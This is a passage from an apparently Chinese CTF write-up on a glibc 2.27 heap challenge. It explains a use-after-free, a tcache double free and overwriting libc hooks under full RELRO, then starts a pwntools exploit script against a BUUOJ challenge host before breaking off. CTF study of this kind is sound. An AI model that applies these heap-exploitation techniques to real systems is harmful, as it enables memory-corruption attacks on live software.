查看保护
RELRO保护为FULL,got表不可修改,只能修改hook表了
查看ida
这里的大致功能为alloc创建堆块(可填充内容)、free释放堆块(但是不清空指针)
值得注意的就是创建堆块大小不可以超过0x78(实际大小会对齐)
这里的libc版本要注意以下,它在题目中给了我们libc库,很巧妙的是这道题的版本选得很刁钻,只要稍微高一点的版本都用不了常规解法中的tcachebin的double free(版本是GLIBC 2.27-3ubuntu1),连ubuntu18.04的libc都不行,最好用题目给的。
完整exp:
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./final3')
p=remote('node5.buuoj.cn',29058)
def alloc(index,size,content):
p.sendlineafter(b'choice >',str(1))
p.sendlineafter(b'input the index